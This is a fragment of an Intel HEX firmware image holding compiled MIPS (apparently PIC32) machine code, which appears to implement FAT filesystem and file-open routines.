:10da2000021202001600c2a70c00c28fffff423094
:10da30000f004230ffff4230001202001800c2a760
:10da40000400c28f02160200ffff43301800c29785
:10da5000251062001800c2a70400c28f0212020043
:10da60001a00c2a70000c0a71400c2970f004230de
:10da7000ffff43300000c297211062000000c2a7e0
:10da80001400c297f000423003110200ffff423041
:10da9000401002008018020021104300ffff4330b5
:10daa0000000c297211062000000c2a70000c297c8
:10dab000140042240000c2a70000c29740120200d6
:10dac0001c00c2a71600c29700104230050040108b
:10dad000000000000a0002240000c2a7ba36400b72
:10dae000000000000000c0a71600c297000f4230df
:10daf00003120200ffff43300000c29721106200b2
:10db00000000c2a70000c297401102000000c2a797
:10db10001c00c3970000c297251062001c00c2a71a
:10db20001600c297f0004230031102000000c2a7a5
:10db30000000c2974010020080180200211043002c
:10db40000000c2a71600c2970f004230ffff43300b
:10db50000000c297211062000000c2a71c00c397fa
:10db60000000c297251062001c00c2a71c00c297cb
:10db7000368182a71c00c297328182a71c00c297ff
:10db8000308182a71800c297f000423003110200d2
:10db9000ffff4230401002008018020021104300b5
:10dba0000000c2a71800c2970f004230ffff4330a9
:10dbb0000000c297211062000000c2a70000c297b7
:10dbc000c01202001c00c2a71a00c2970213020072
:10dbd000ffff423040100200801802002110430075
:10dbe0000000c2a71a00c297000f423003120200c1
:10dbf000ffff43300000c297211062000000c2a75f
:10dc00000000c29740110200201e027c1c00c28747
:10dc1000251062002016027c1c00c2a71a00c297c1
:10dc2000f000423003110200ffff423040100200ba
:10dc300080180200211043000000c2a71a00c297fa
:10dc40000f004230ffff43300000c29721106200f6
:10dc50000000c2a70000c29701004230ffff42301f
:10dc6000050040100000000064000224128182a31d
:10dc70001f37400b00000000128180a30000c297f4
:10dc8000421002000000c2a71c00c3970000c29708
:10dc9000251062001c00c2a71c00c297288182a721
:10dca0001c00c2972e8182a721e8c0032400be8fea
:10dcb0002800bd270800e00300000000d8ffbd27b2
:10dcc0002400bfaf2000beaf21f0a0032800c4afe6
:10dcd0002110a0002c00c2a32800c28f0000428c9b
:10dce0001000c2af2800c28f0800428c1400c2afdf
:10dcf0002800c48f8437400f000000001400c2af1a
:10dd00001400c28f0400401400000000150002241b
:10dd10007e37400b000000001000c28f24004390ab
:10dd20000100022409006214000000001000c48fea
:10dd30001400c58ff80f062421380000c64a400f92
:10dd4000000000006737400b000000001000c28f89
:10dd50002400439002000224090062140000000025
:10dd60001000c48f1400c58ff8ff0634213800005e
:10dd7000c64a400f000000006737400b000000005b
:10dd80001000c48f1400c58fff0f023cf8ff46340b
:10dd900021380000c64a400f000000002800c28f52
:10dda0000800428c1800c2af1000c48f1800c58f45
:10ddb0001400c68f21380000c64a400f0000000042
:10ddc0002800c28f1400c38f080043ac2c00c393fb
:10ddd0000100022407006214000000001000c48f3c
:10dde0001400c58fc63e400f000000007e37400b78
:10ddf000000000002110000021e8c0032400bf8fb4
:10de00002000be8f2800bd270800e00300000000ae
:10de1000d0ffbd272c00bfaf2800beaf21f0a0036c
:10de20003000c4af1c00c0af3000c28f0000428c75
:10de30002000c2af3000c28f0800428c1000c2af79
:10de40002000c28f24004290010003240c004310e4
:10de500000000000030003240f0043140000000032
:10de6000ff0f023cf7ff42341400c2afff0f023c29
:10de7000ffff42341800c2afab37400b0000000078
:10de8000f70f02241400c2afffff02341800c2af24
:10de9000ab37400b00000000f7ff02341400c2afa4
:10dea000ffff02341800c2af000000001000c28f54
:10deb0000200422c03004010000000000200022477
:10dec0001000c2af1000c28f2400c2af2000c48f68
:10ded0001000c58f8f49400f00000000e437400b51
:10dee000000000002000c48f1000c58f8f49400f34
:10def000000000001c00c2af1c00c38f1800c28fbe
:10df000004006214000000001000c0afe737400baf
:10df1000000000001c00c28f03004014000000003d
:10df2000e737400b000000001000c28f01004224c0
:10df30001000c2af1c00c38f1400c28f0b00621010
:10df4000000000002000c28f1900438821206000db
:10df50001600449821108000020043241000c28f54
:10df60002b104300030040140000000002000224b4
:10df70001000c2af1000c38f2400c28f04006214cf
:10df8000000000001000c0afe737400b00000000a9
:10df90001000c28fd3ff4014000000001000c28f99
:10dfa00021e8c0032c00bf8f2800be8f3000bd27a2
:10dfb0000800e00300000000d8ffbd272400bfaf29
:10dfc0002000beaf21f0a0032800c4af4800022407
:10dfd0001400c2af348180a32800c28f360042945f
:10dfe0001c00c2a72800c28f1800428c01004230da
:10dff0005700401000000000448082930a00401047
:10e00000000000003241400f0000000006004010f8
:10e010000000000009000224348182a3ffff0224d3
:10e020007a38400b000000002800c28f0000428cac
:10e030002120400021280000213000000100072499
:10e04000c64a400f00000000048080af2800c28f45
:10e050000000438c2800c28f0800428c2120600001
:10e06000212840008f49400f000000001c00c227fb
:10e070002800c48f212840009139400f0000000083
:10e080001800c2af1800c28f080040140000000042
:10e090001b000224348182a3ffff02241400c2afbc
:10e0a0001400c28f7a38400b000000006d36400f1c
:10e0b000000000002e8183971800c28f160043a431
:10e0c000328183971800c28f180043a42800c28fa2
:10e0d0001400438c1800c28f1c0043ac2800c28f70
:10e0e0003a004294ff0043301800c28f0b0043a057
:10e0f0001c00c2272800c48f21284000182f400f81
:10e10000000000000a004010000000001c00c227b0
:10e110002800c48f212840009139400f00000000e2
:10e120001800c2af1400c0af5038400b0000000010
:10e1300009000224348182a3ffff02241400c2af2d
:10e140002800c38f180062900400027c180062a0af
:10e150002800c38f180062904408027c180062a057
:10e160001000c0a76f38400b000000001000c297dd
:10e1700080100200001902002110430000a0033c9f
:10e18000c4106324211843002800c28f08006214c1
:10e19000000000001000c397188182272110620040
:10e1a00001000324000043a07338400b000000006e
:10e1b0001000c297010042241000c2a71000c297ad
:10e1c0000300422ce9ff4014000000002800c0af0b
:10e1d0001400c38f480002240200621400000000f3
:10e1e0001400c0af1400c28f21e8c0032400bf8f09
:10e1f0002000be8f2800bd270800e00300000000bb
:10e20000d8ffbd272400bfaf2000beaf21f0a00380
:10e210002800c4af2c00c5af1600c0a32c00c28fcd
:10e22000000042940f004230110040140000000032
:10e230002c00c28f000042940d004010000000002e
:10e240002800c28f3c00438c2800c28f400043aca2
:10e250002800c48f2c00c58f01000624e72f400f33
:10e26000000000001000c2afa238400b0000000008
:10e270002800c48f2c00c58f21300000e72f400fed
:10e28000000000001000c2af1000c28f0500401453
:10e2900000000000020002241500c2a33139400b27
:10e2a000000000001000c28f000042801700c2a3cf
:10e2b0001700c393e500022405006214000000006b
:10e2c000010002241500c2a33139400b00000000f8
:10e2d0001700c29305004014000000000200022451
:10e2e0001500c2a33139400b000000001000c28f9e
:10e2f0000b0042901700c2a31400c0a3d538400bf6
:10e30000000000001400c2931000c38f21106200af
:10e31000000042801800c2a31800c29321204000d0
:10e32000f858410f000000001800c2a31600c29365
:10e33000010043241600c3a31800c3832800c48f20
:10e3400021108200200043a01400c2930100422447
:10e350001400c2a31400c2930800422ce9ff401429
:10e36000000000001000c28f0b0042901700c2a3f3
:10e370001000c28f080042801800c2a31400c0a37e
:10e38000f638400b000000001400c2931000c38f49
:10e3900021106200080042801800c2a31800c29336
:10e3a00021204000f858410f000000001800c2a3cf
:10e3b0001600c293010043241600c3a31800c383b0
:10e3c0002800c48f21108200200043a01400c293b3
:10e3d000010042241400c2a31400c2930300422c83
:10e3e000e9ff4014000000002c00c28f000043949d
:10e3f0002800c28f360043a41000c28f0000428064
:10e400001700c2a31700c393e5000224050062149d
:10e4100000000000010002241500c2a30a39400bcd
:10e42000000000001500c0a31000c28f1c00438c28
:10e430002800c28f140043ac1000c48f0227400f85
:10e4400000000000211840002800c28f040043ace7
:10e450001000c28f0b0042901700c2a31700c29396
:10e46000ffff43302800c28f3a0043a41700c29335
:10e47000100042300b004010000000001000c28f5e
:10e480000e0043942800c28f1c0043a41000c28fca
:10e49000100043942800c28f1e0043a43139400b62
:10e4a000000000001000c28f160043942800c28fa5
:10e4b0001c0043a41000c28f180043942800c28f90
:10e4c0001e0043a41500c29321e8c0032400bf8f9f
:10e4d0002000be8f2800bd270800e00300000000d8
:10e4e000d0ffbd272c00bfaf2800beaf21f0a00396
:10e4f0003000c4af3400c5af3800c6af3800c28f9b
:10e50000000042940f00423011004014000000004f
:10e510003800c28f000042940d004010000000003f
:10e520003000c28f3c00438c3000c28f400043acaf
:10e530003000c48f3800c58f01000624e72f400f3c
:10e54000000000001000c2af5a39400b000000006c
:10e550003000c48f3800c58f21300000e72f400ff6
:10e56000000000001000c2af1000c28f0500401470
:10e5700000000000020002242000c2a38a39400be0
:10e58000000000001000c28f000042801400c2a3ef
:10e590001400c393e500022405006214000000008b
:10e5a000010002242000c2a38a39400b00000000b1
:10e5b0001400c29305004014000000000200022471
:10e5c0002000c2a38a39400b000000002000c0a335
:10e5d0003400c28f1c00c2af1000c28f1800c2af3f
:10e5e0001400c0a38639400b000000001c00c28f3d
:10e5f000010043241c00c3af1800c38f0100642432
:10e600001800c4af00006390000043a01400c29340
:10e61000010042241400c2a31400c2932000422c23
:10e62000f2ff4014000000002000c29321e8c00364
:10e630002c00bf8f2800be8f3000bd270800e003ec
:10e6400000000000e0ffbd271c00bfaf1800beaff8
:10e6500021f0a0032000c4af2400c5af2000c28f6a
:10e660003c00438c2000c28f400043ac2000c48f8c
:10e670002400c58f01000624e72f400f0000000092
:10e680001000c2af1000c28f040040140000000050
:10e6900021100000d739400b000000001000c28f8d
:10e6a000000042801400c2a31400c2930200401470
:10e6b000000000001000c0af1000c28f2600401004
:10e6c000000000001400c393e5000224040062145b
:10e6d000000000001000c0afd639400b0000000061
:10e6e0001000c28f0b0042901400c2a3d239400b1d
:10e6f000000000002400c28f000042940100422468
:10e70000ffff43302400c28f000043a42000c48fc9
:10e710002400c58f21300000e72f400f00000000cb
:10e720001000c2af1000c28f0400401400000000af
:10e7300021100000d739400b000000001000c28fec
:10e740000b0042901400c2a31400c3930f000224d4
:10e75000e8ff6210000000001000c28f21e8c00333
:10e760001c00bf8f1800be8f2000bd270800e003eb
:10e7700000000000c8ffbd273400bfaf3000beafaf
:10e7800021f0a0033800c4af3c00c5af2110c00089
:10e790004000c2a31000c0af1400c0af01000224ab
:10e7a0001c00c2af3800c28f0000428c2000c2aff4
:10e7b0003800c28f34004294108182a71081829762
:10e7c000290040100000000010818497c44e023cd4
:10e7d0004fec423419008200101000008228020021
:10e7e0002118a000801003002118400080100300b1
:10e7f000231043002110450023108200ffff423008
:10e800002400c2a310818397c44e023c4fec4234d3
:10e81000190062001010000082100200ffff423059
:10e820001800c2a32400c293050040140000000099
:10e83000108182970d00422c06004010000000005d
:10e840001800c293020042241800c2a31c3a400bd5
:10e85000000000001800c293010042241800c2a367
:10e860001c3a400b00000000010002241800c2a363
:10e8700001000224348182a35c3a400b00000000b6
:10e880003800c28f3c00438c3800c28f400043ac3c
:10e890003800c48f3c00c58f01000624e72f400fcd
:10e8a000000000002800c2af2800c28f04004014fe
:10e8b000000000001b000224763a400b000000001c
:10e8c0002800c28f000042802c00c2a32800c28f03
:10e8d00008004010000000002c00c293050040100a
:10e8e000000000002c00c393e50002240500621420
:10e8f000000000000b0002241000c2af613a400b80
:10e90000000000002800c28fe5ff0324000043a0a0
:10e910003800c48f3c00c58f182f400f0000000046
:10e920000500401400000000010002241000c2afe6
:10e93000613a400b000000001c00c28f060040102e
:10e94000000000002800c48f0227400f00000000d4
:10e950001400c2af1c00c0af3c00c28f0000429444
:10e96000ffff4224ffff43303c00c28f000043a45e
:10e970001800c293ffff43241800c3a3c0ff401434
:10e98000000000001000c28f1200401400000000c0
:10e990002481828f1400c38f0b00621000000000de
:10e9a0004000c29308004010000000001400c48f13
:10e9b0002000c58f742f400f000000000100422c82
:10e9c000ff0042301000c2af1000c28fff00423083
:10e9d000348182a31000c28f21e8c0033400bf8fae
:10e9e0003000be8f3800bd270800e00300000000a3
:10e9f00050ffbd27ac00bfafa800beaf21f0a00301
:10ea0000b000c4afb400c5af348180a3d8d8400fe4
:10ea10000000000006004010000000001800022462
:10ea2000348182a3ffff02240b3b400b0000000057
:10ea30001c00c22721204000b400c58f403e400f7b
:10ea4000000000001c00c227b000c48f2128400035
:10ea5000213000004e42400f00000000060040142c
:10ea60000000000012000224348182a3ffff022470
:10ea70000b3b400b000000005200c0a70c80828faf
:10ea80003c00428c5800c2af0c80828f4000428c08
:10ea90005c00c2af6000c3271c00c22721206000b9
:10eaa00021284000403e400f000000006000c327c6
:10eab0001c00c227212060002128400001000624fc
:10eac00021380000db1b400f00000000211840002f
:10ead0000b0002245200621400000000b400c28f38
:10eae000360042941800c2a71800c227b400c48f91
:10eaf0002128400021300000dd39400f00000000d7
:10eb0000060040100000000001000224348182a3ae
:10eb1000ffff02240b3b400b000000005600c29791
:10eb2000ff0042301c00c4271800c32721286000c2
:10eb30002130400021380000e630400f0000000086
:10eb4000ff004230348182a31c00c3271800c22773
:10eb500021206000212840009139400f0000000072
:10eb60001000c2afb400c28f0400428cffff4330dc
:10eb70001000c28f1a0043a4b400c28f0400438c5b
:10eb8000ff0f023c241062001400c2af1400c28fb9
:10eb9000021402001400c2af1400c28fffff433002
:10eba0001000c28f140043a4b400c28f1400438c21
:10ebb0001000c28f1c0043ac1c00c3271800c227e2
:10ebc0002120600021284000182f400f0000000085
:10ebd000211840000100022406006210000000001d
:10ebe00009000224348182a3ffff02240b3b400b67
:10ebf00000000000b400c28f1400428c3000c2af8d
:10ec00001c00c227b400c48f21284000403e400fa2
:10ec100000000000211000000b3b400b0000000032
:10ec200011000224348182a3ffff022421e8c003e3
:10ec3000ac00bf8fa800be8fb000bd270800e00366
:10ec400000000000e0ffbd271c00bfaf1800beaff2
:10ec500021f0a0032000c4af2400c5af01000224ae
:10ec6000488082af2000c48f2400c58f7c3a400fbb
:10ec7000000000001000c2af488080af1000c28fbb
:10ec800021e8c0031c00bf8f1800be8f2000bd27e5
:10ec90000800e00300000000e0ffbd271c00bfaf3c
:10eca0001800beaf21f0a0032000c4af2400c5af00
:10ecb00001000224488082af2000c48f2400c58f49
:10ecc0003b3b400f000000001000c2af488080af07
:10ecd0001000c28f21e8c0031c00bf8f1800be8f38
:10ece0002000bd270800e00300000000d8ffbd277a
:10ecf0002400bfaf2000beaf21f0a0032800c4afa6
:10ed00002c00c5af2c00c28f000042801c00c2a3a3
:10ed1000d8d8400f000000000e0040100000000096
:10ed20001c00c393720002240a006210000000005d
:10ed30001c00c39352000224060062100000000071
:10ed400018000224348182a321100000523d400ba0
:10ed5000000000001000c0af1400c0af703b400bbb
:10ed6000000000001400c38f188182272110620068
:10ed7000000042900f004010000000001400c38ffc
:10ed80001881822721106200000040a01400c28f69
:10ed900080100200001902002110430000a0033c73
:10eda000c4106324211043001000c2af743b400b19
:10edb000000000001400c28f010042241400c2af02
:10edc0001400c28f03004228e6ff40140000000038
:10edd0001000c28f06004014000000002000022432
:10ede000348182a321100000523d400b000000003e
:10edf0001400c28f40100200001a020021104300cc
:10ee000000a0033c500a6324211843001000c28f65
:10ee1000300043ac2800c48f1000c58f21300000a3
:10ee20004e42400f000000000b00401400000000a4
:10ee30001400c38f1881822721106200010003246f
:10ee4000000043a012000224348182a3211000009c
:10ee5000523d400b000000001000c28f00a0033c98
:10ee600058106324000043ac1000c28f040040ac73
:10ee70001000c28f080040ac1000c28f360040a4c2
:10ee80001000c28f200003243a0043a40c80828f1c
:10ee90003c00438c1000c28f3c0043ac0c80828f3e
:10eea0004000438c1000c28f400043ac00a0023ce5
:10eeb000a01344241000c58f403e400f0000000006
:10eec0001000c48f00a0023ca013452401000624ba
:10eed00021380000db1b400f00000000330140140c
:10eee000000000001c00c293bfff42243700432ce7
:10eef000270160100000000080180200019d023c04
:10ef000014ef4224211062000000428c08004000ef
:10ef100000000000f0f0009d90f3009d90f3009d34
:10ef200090f3009d90f3009d90f3009d90f3009d61
:10ef300090f3009d90f3009d90f3009d90f3009d51
:10ef400090f3009d90f3009d90f3009d90f3009d41
:10ef500090f3009d90f3009df0f2009d90f3009dd2
:10ef600090f3009d90f3009d90f3009df0ef009dc5
:10ef700090f3009d90f3009d90f3009d90f3009d11
:10ef800090f3009d90f3009d90f3009d90f3009d01
:10ef900090f3009df0f0009d90f3009d90f3009d94
:10efa00090f3009d90f3009d90f3009d90f3009de1
:10efb00090f3009d90f3009d90f3009d90f3009dd1
:10efc00090f3009d90f3009d90f3009d90f3009dc1
:10efd00090f3009d90f3009df0f2009d90f3009d52
:10efe00090f3009d90f3009d90f3009df0ef009d45
:10eff0001000c28f360042941e00c2a71e00c22716
:10f000001000c48f2128400001000624dd39400f84
:10f01000000000001800c2af1800c28f3200401478
:10f02000000000001e00c2271000c48f21284000ed
:10f030002130000001000724e630400f00000000ee
:10f040001800c2af1800c28f270040140000000053
:10f050001e00c2271000c48f21284000770006241c
:10f06000a622400f000000001800c2af1000c28f9f
:10f070003a004294100042300500401000000000a9
:10f080001f000224348182a3ff0002241800c2afb3
:10f090001800c28f14004014000000001000c48f3c
:10f0a00021280000020006249a48400f00000000ba
:10f0b0001800c2af2c00c28f010042240000438020
:10f0c0002b00022408006214000000001000c38f0f
:10f0d00018006290010004244408827c180062a099
:10f0e000e93c400b00000000e93c400b0000000040
:10f0f0001000c28f1400428c380040100000000045
:10f100001000c28f360042941e00c2a71e00c22704
:10f110001000c48f2128400077000624a622400f4b
:10f12000000000001800c2af1000c28f3a004294e5
:10f130001000423005004010000000001f000224b3
:10f14000348182a3ff0002241800c2af1800c28fce
:10f1500065004014000000001000c48f212800004a
:10f16000020006249a48400f000000001800c2afb9
:10f170001800c28f05004010000000001a00022491
:10f18000348182a36a3c400b000000001000c28f53
:10f190000800428c00a0033c581064242128400041
:10f1a0008f49400f000000002c00c28f0100422454
:10f1b000000043802b0002244b006214000000007a
:10f1c0001000c38f18006290010004244408827c60
:10f1d000180062a0e93c400b000000001000c28f44
:10f1e000360042941e00c2a71e00c2271000c48f22
:10f1f0002128400001000624dd39400f00000000f6
:10f200001800c2af1800c28f370040140000000081
:10f210001e00c2271000c48f2128400021300000aa
:10f2200001000724e630400f000000001800c2afc4
:10f230001800c28f2c004014000000001e00c227de
:10f240001000c48f2128400077000624a622400f1a
:10f25000000000001800c2af1000c28f3a004294b4
:10f260001000423005004010000000001f00022482
:10f27000348182a3ff0002241800c2af1800c28f9d
:10f2800019004014000000001000c48f2128000065
:10f29000020006249a48400f000000001800c2af88
:10f2a0001800c28f03004010000000001a00022462
:10f2b000348182a32c00c28f0100422400004380cd
:10f2c0002b00022408006214000000001000c38f0d
:10f2d00018006290010004244408827c180062a097
:10f2e000e93c400b00000000e93c400b000000003e
:10f2f0001000c28f360042941e00c2a71e00c22713
:10f300001000c48f2128400072000624a622400f5e
:10f31000000000001800c2af1800c28f1a0040148d
:10f32000000000002c00c28f010042240000438036
:10f330002b00022414006214000000001000c28f91
:10f340000800428c00a0033c58106424212840008f
:10f350008f49400f000000001000c28f3a00429415
:10f360001000423008004014000000001000c38f5d
:10f3700018006290010004240400827c180062a03e
:10f38000e93c400b00000000e93c400b000000009d
:10f390001f000224348182a3ff0002241800c2afa0
:10f3a000000000003d3d400b000000001000c48f35
:10f3b00000a0023ca0134524403e400f0000000086
:10f3c0001c00c393770002240d00621000000000af
:10f3d0001c00c393570002240900621000000000c3
:10f3e0001c00c393610002240500621000000000ad
:10f3f0001c00c393410002243a0062140000000084
:10f400001e00c0a71e00c2271000c48f2128400084
:10f410002130000001000724e630400f000000000a
:10f420001800c2af1800c28f2c004014000000006a
:10f430001e00c2271000c48f212840007700062438
:10f44000a622400f000000001800c2af1000c28fbb
:10f450003a004294100042300500401000000000c5
:10f460001f000224348182a3ff0002241800c2afcf
:10f470001800c28f19004014000000001000c48f53
:10f4800021280000020006249a48400f00000000d6
:10f490001800c2af1800c28f030040100000000027
:10f4a0001a000224348182a32c00c28f010042245e
:10f4b000000043802b0002240800621400000000ba
:10f4c0001000c38f18006290010004244408827c5d
:10f4d000180062a03d3d400b000000003d3d400b88
:10f4e000000000000b0002241800c2af0b00022431
:10f4f000348182a3d8d8400f0000000005004010de
:10f50000000000001000c38f180062900400027c0d
:10f51000180062a01800c28f09004010000000000f
:10f520001400c38f18818227211062000100032478
:10f53000000043a01000c0af513d400b0000000090
:10f54000348180a31000c28f21e8c0032400bf8f44
:10f550002000be8f2800bd270800e0030000000047
:10f56000f8ffbd270400beaf21f0a0030800c4af20
:10f57000348180a30800c28f1000428c21e8c003b0
:10f580000400be8f0800bd270800e0030000000053
:10f5900090fdbd276c02bfaf6802beaf21f0a00393
:10f5a0007002c4af00a0023c000642241800c2afa3
:10f5b0001400c0a7348180a3d8d8400f00000000f9
:10f5c000060040100000000018000224348182a3cd
:10f5d000ffff0224023e400b000000001800c28f13
:10f5e0006000c327300043ac7002c48f1800c58f81
:10f5f000213000004e42400f000000000600401481
:10f600000000000012000224348182a3ffff0224c4
:10f61000023e400b000000001800c28f00a0033c17
:10f6200058106324000043ac1800c28f040040aca3
:10f630001800c28f080040ac1800c28f360040a4ea
:10f640001800c28f200003243a0043a40c80828f4c
:10f650003c00438c1800c28f3c0043ac0c80828f6e
:10f660004000438c1800c28f400043ac00a0023c15
:10f67000a01344241800c58f403e400f0000000036
:10f680001800c48f00a0023ca013452401000624ea
:10f6900021380000db1b400f000000000600401076
:10f6a000000000000b000224348182a3ffff02242b
:10f6b000023e400b000000001800c28f3a00429446
:10f6c0001000423006004010000000001300022429
:10f6d000348182a3ffff0224023e400b00000000a1
:10f6e0001800c28f3400429438004014000000001b
:10f6f0001c00c227212040001800c58f403e400f4b
:10f70000000000001800c28f36004294ffff422420
:10f71000ffff42306202c2a76202c2271800c48ff4
:10f720002128400021300000e72f400f000000009a
:10f730001000c2afdd3d400b000000001400c29776
:10f740000d0042241400c2a76202c297ffff4224a8
:10f75000ffff42306202c2a76202c2271800c48fb4
:10f760002128400021300000e72f400f000000005a
:10f770001000c2af1000c28f0b0043900f00022494
:10f780000a006214000000001000c28f00004390c5
:10f79000e500022405006210000000001000c28f86
:10f7a00000004290e5ff4014000000001c00c2274a
:10f7b0001800c48f21284000403e400f0000000088
:10f7c0001800c28f1400c397340043a41800c28fde
:10f7d000360042241800c48f21284000010006246e
:10f7e000dd39400f0000000004004014000000005c
:10f7f00021100000023e400b000000000100022426
:10f80000348182a3ffff022421e8c0036c02bf8f72
:10f810006802be8f7002bd270800e00300000000f0
:10f82000e0ffbd271c00bfaf1800beaf21f0a00352
:10f830002000c4af01000224488082af2000c48fa2
:10f84000643d400f000000001000c2af488080af50
:10f850001000c28f21e8c0031c00bf8f1800be8fac
:10f860002000bd270800e00300000000e8ffbd27de
:10f870001400bfaf1000beaf21f0a0031800c4af4a
:10f880004480829303004010000000003241400f8a
:10f89000000000001800c28f100040ac1800c28f9a
:10f8a0000e0040a41800c28f0c0040a41800c28fa4
:10f8b0000400438c1800c28f080043ac408080af26
:10f8c0000000000021e8c0031400bf8f1000be8fad
:10f8d0001800bd270800e00300000000f8ffbd2766
:10f8e0000400beaf21f0a0033481829321e8c0035d
:10f8f0000400be8f0800bd270800e00300000000e0
:10f90000e8ffbd271400beaf21f0a0031800c4af6c
:10f910001c00c5af1800c28f0400c2af1c00c28f0c
:10f920000800c2af440002240c00c2af0000c0af08
:10f93000593e400b000000000000c28f0400c38f3e
:10f94000211062000000c38f0800c48f21188300bb
:10f9500000006390000043a00000c28f0100422419
:10f960000000c2af0000c38f0c00c28f2a106200db
:10f97000f1ff40140000000021e8c0031400be8f16
:10f980001800bd270800e00300000000e0ffbd27cd
:10f990001c00bfaf1800beaf21f0a0032000c4af11
:10f9a0002400c5af1000c0af2000c28f0000428c01
:10f9b0001400c2af2000c48f8437400f0000000045
:10f9c000211840002400c28f000043ac2400c28fe5
:10f9d0000000428c050040140000000015000224c5
:10f9e0001000c2afbf3e400b000000001400c28fe9
:10f9f0002400439001000224110062140000000062
:10fa00002400c28f0000428c1400c48f21284000c3
:10fa1000f80f062421380000c64a400f00000000fd
:10fa200021184000ffff02342a0062140000000089
:10fa3000090002241000c2afb53e400b00000000d8
:10fa40001400c28f240043900200022411006214ab
:10fa5000000000002400c28f0000428c1400c48ffc
:10fa600021284000f8ff063421380000c64a400f24
:10fa70000000000021184000ffff0234150062144e
:10fa800000000000090002241000c2afb53e400b88
:10fa9000000000002400c28f0000428c1400c48fbc
:10faa00021284000ff0f023cf8ff463421380000b7
:10fab000c64a400f0000000021184000ff0f023c22
:10fac000ffff42340300621400000000090002241a
:10fad0001000c2af1000c28f0800401400000000e8
:10fae0002400c28f0000428c1400c48f21284000e3
:10faf000c63e400f000000001000c2af1000c28fd1
:10fb000021e8c0031c00bf8f1800be8f2000bd2756
:10fb10000800e00300000000d8ffbd272400bfafad
:10fb20002000beaf21f0a0032800c4af2c00c5af59
:10fb30001800c0a32800c48f2c00c58f6d3f400f54
:10fb4000000000001400c2af4480829308004010ff
:10fb5000000000003241400f00000000040040108f
:10fb60000000000009000224123f400b00000000ca
:10fb7000408080af46808293100040140000000057
:10fb80002800c28f03004388000043982800c28fda
:10fb90001d004488212880001a0045982110a000eb
:10fba0002120600021280000213040007152410fc7
:10fbb0000000000001000224468082a31000c0a3c0
:10fbc000083f400b000000001400c38f01006224b6
:10fbd0001400c2af2800c28f03004488212880008f
:10fbe000000045982110a00021206000212840003d
:10fbf000213000009ad8400f00000000211840007a
:10fc00000100022403006210000000000900022429
:10fc10001800c2a31000c293010042241000c2a326
:10fc20002800c28f230042901000c3932b10620063
:10fc300004004010000000001800c293e2ff4010d2
:10fc4000000000001800c29321e8c0032400bf8f09
:10fc50002000be8f2800bd270800e0030000000040
:10fc6000f8ffbd270400beaf21f0a0030800c4af19
:10fc70002110a0000c00c2a70c00c2970800c38f7f
:10fc8000211062000000429021e8c0030400be8ff2
:10fc90000800bd270800e00300000000f0ffbd27ba
:10fca0000c00beaf21f0a0031000c4af2110a000d3
:10fcb0001400c2a71400c2971000c38f2110620065
:10fcc000000042900000c2a31400c2970100422429
:10fcd0001000c38f21106200000042900100c2a3f7
:10fce0000100c2930200c2a70200c29700120200e4
:10fcf0000200c2a70000c293ffff43300200c29778
:10fd0000251062000200c2a70200c29721e8c003ca
:10fd10000c00be8f1000bd270800e00300000000ab
:10fd2000e0ffbd271c00bfaf1800beaf21f0a0034d
:10fd30002000c4af2110a0002400c2a72400c29755
:10fd40002000c48f21284000273f400f0000000002
:10fd50001000c2a72400c29702004224ffff4230d5
:10fd60002000c48f21284000273f400f00000000e2
:10fd70001200c2a71200c2971400c2af1400c28fb3
:10fd8000001402001400c2af1000c2971400c38f09
:10fd9000251062001400c2af1400c28f21e8c00316
:10fda0001c00bf8f1800be8f2000bd270800e00395
:10fdb00000000000f0ffbd270c00beaf21f0a00343
:10fdc0001000c4af1400c5af1000c28f24004290d1
:10fdd00021184000030002241000621400000000fb
:10fde0001400c28ffeff43241000c28f23004290f4
:10fdf000180062001000c28f1300438821206000a9
:10fe00001000449821108000121800002110620098
:10fe10000000c2afa43f400b000000001400c28fde
:10fe200005004010000000001400c38f01000224f0
:10fe300009006214000000001000c28f0f00438808
:10fe40000c0043981400c28f211062000000c2af62
:10fe5000a33f400b000000001400c28ffeff4324ac
:10fe60001000c28f23004290180062001000c28f61
:10fe70001300438821206000100044982110800066
:10fe800012180000211062000000c2af0000000044
:10fe90000000c28f21e8c0030c00be8f1000bd27f8
:10fea0000800e00300000000e0ffbd271c00bfaf1a
:10feb0001800beaf21f0a0032000c4af2110a000a5
:10fec0002400c2a3348180a32400c393d8ff02245a
:10fed0002410620006004010000000001f000224f1
:10fee000348182a3ffff0224f93f400b0000000091
:10fef0002000c28f360042941400c2a72000c28f97
:10ff00003c00438c2000c28f400043ac1400c22749
:10ff10002000c48f212840009139400f00000000cc
:10ff20001000c2af1000c28f060040140000000095
:10ff30001b000224348182a3ffff0224f93f400bff
:10ff4000000000001000c28f0b00429008004230f9
:10ff500006004010000000001f000224348182a32c
:10ff6000ffff0224f93f400b000000002000c28f79
:10ff70003a00429410004230090040100000000096
:10ff80002400c29310004234ff0042302118400088
:10ff90002000c28f3a0043a4ec3f400b0000000059
:10ffa0002400c293ffff43302000c28f3a0043a4d5
:10ffb0001400c2272000c48f21284000182f400fb2
:10ffc00000000000060040140000000009000224a8
:10ffd000348182a3ffff0224f93f400b00000000a0
:10ffe0002110000021e8c0031c00bf8f1800be8f45
:10fff0002000bd270800e00300000000c0ffbd276f
:020000041d01dc
:100000003c00bfaf3800beaf21f0a0034000c4af3a
:100010004400c5af4800c6af4c00c7af4400c38f13
:100020004800c28f18006200121000001000c2af1a
:100030004000c28f1400c2af1800c0af2800c0a794
:100040004c00c28f1800428c01004230080040145e
:10005000000000001d000224348182a30900022454
:100060001800c2af211000002c41400b000000001e
:100070001000c28f04004014000000002110000096
:100080002c41400b00000000d8d8400f00000000b9
:10009000080040100000000018000224348182a3f0
:1000a000180002241800c2af211000002c41400ba0
:1000b00000000000468080a34c00c28f0000428cec
:1000c0002c00c2af4c00c28f0e0042941c00c2a78d
:1000d0004c00c28f1000428c2000c2af4c00c28f77
:1000e0000800428c2c00c48f212840006d3f400f37
:1000f000000000003000c2af4c00c28f0c004294e0
:100100003000c38f211062003000c2af4080838f67
:100110004c00c28f0f0062100000000044808293e8
:100120000a004010000000003241400f00000000b3
:10013000060040100000000009000224348182a360
:10014000211000002c41400b000000004c00c28f29
:10015000408082af0880838f3000c28f1f00621002
:1001600000000000448082930a004010000000005c
:100170003241400f00000000060040100000000067
:1001800009000224348182a3211000002c41400b7d
:1001900000000000468080a32c00c28f030043882b
:1001a0002120600000004498211080003000c48f9e
:1001b00021284000e5d5400f000000000500401454
:1001c000000000001b000224348182a308000224e6
:1001d0001800c2af3000c28f088082af4c00c28fbf
:1001e0001400428c2400c2af1741400b00000000f5
:1001f0002000c38f2400c28f06006214000000009c
